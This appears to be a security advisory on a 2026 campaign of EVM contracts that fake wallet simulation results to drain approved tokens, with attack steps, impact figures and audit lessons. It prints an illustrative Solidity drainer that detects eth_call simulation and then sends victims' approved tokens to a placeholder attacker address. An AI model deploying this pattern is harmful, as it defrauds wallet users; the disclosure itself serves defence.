Research Disclosure: 4,224 Malicious EVM Contracts Spoof Wallet Simulation to Drain 5,742 Victims for $3.48M

Researchers disclosed on August 3, 2026 that 4,224 malicious smart contracts across four EVM chains manipulate transaction simulation output to show false safe results, tricking users into signing transactions that actually drain their approved tokens — bypassing wallet safety previews entirely.

Root Cause

A research disclosure published August 3, 2026 details a novel attack class — simulation-spoofing contracts — deployed across Ethereum, BNB Smart Chain, Avalanche, and Polygon. These contracts exploit the gap between what a wallet's transaction simulation preview shows via eth_call and what actually executes on-chain.

Wallet safety tools (e.g., simulation previews in MetaMask, Rabby, and hardware wallet companion apps) call eth_call to dry-run a transaction and show expected token balance changes before the user signs. Simulation-spoofing contracts detect the off-chain call context (lower gas, specific tx.origin patterns, or block-context anomalies) and return a fake "safe" or even profitable-looking result during simulation, while executing the real drain logic when broadcast on-chain.

// Illustrative simulation-spoofing pattern
contract SimulationSpoof {
    address constant ATTACKER = 0xDEAD...;

    function claim(address token, uint256 amount) external returns (bool) {
        // Simulation detection heuristics:
        // - tx.origin is address(0) in some eth_call implementations
        // - gasleft() may differ significantly between eth_call and real execution
        // - block.basefee == 0 in some node simulation modes
        bool isSimulation = (tx.origin == address(0) || block.basefee == 0);

        if (isSimulation) {
            // Emit a fake profitable Transfer — wallet shows token gain
            emit Transfer(address(0), msg.sender, amount);
            return true;
        }

        // Real execution: drain caller's existing ERC-20 approval to attacker
        IERC20(token).transferFrom(msg.sender, ATTACKER, type(uint256).max);
        return true;
    }
}

Victims are lured via airdrop claims, NFT mints, or "free token" promotions requiring them to call or approve the malicious contract.

Attack Steps

Step	Detail
1	Attacker deploys simulation-spoofing contracts across Ethereum, BNB Chain, Avalanche, and Polygon (4,224 contracts in total)
2	Victims are directed to interact via phishing sites or social media promotions (airdrop claim, mint, token reward)
3	Wallet simulation preview shows a small token gain or neutral result — no warning flags appear
4	Victim signs and broadcasts the transaction
5	Live execution runs the drain path, invoking `transferFrom` against the victim's pre-approved token balance
6	5,742 victims across four chains lose a combined $3.48M before researchers identify and disclose the campaign

Impact

$3.48 million drained across 5,742 victim wallets
4,224 malicious contracts confirmed across Ethereum, BNB Smart Chain, Avalanche, and Polygon
Attack bypasses wallet simulation previews — a safety mechanism users and wallets increasingly rely on
Campaign start date not disclosed by researchers; disclosure date August 3, 2026

Lessons for Auditors

Simulation parity is not a security guarantee: On-chain execution and eth_call simulation can diverge; any contract that behaves differently between these contexts is a red flag and should be flagged in audits.
Flag simulation-detection patterns: Audit for branches on gasleft() thresholds, tx.origin == address(0), block.basefee == 0, or similar context-detection heuristics that signal off-chain call environment.
Stale approval hygiene: Victims lost funds via pre-existing ERC-20 approvals; protocols should enforce minimum-necessary approvals and prompt users to revoke after interaction. Consider permit/increaseAllowance patterns that expire.
Multi-chain deployment signatures: Contracts deploying identical or similar bytecode simultaneously across many chains at high volume warrant automatic risk-flagging by wallets and block explorers.
Wallet tooling gap: This attack class demonstrates that wallet simulation previews require bytecode-level static analysis — specifically detecting gas-sensitive or tx.origin-sensitive branching — before displaying a confidence result to the user.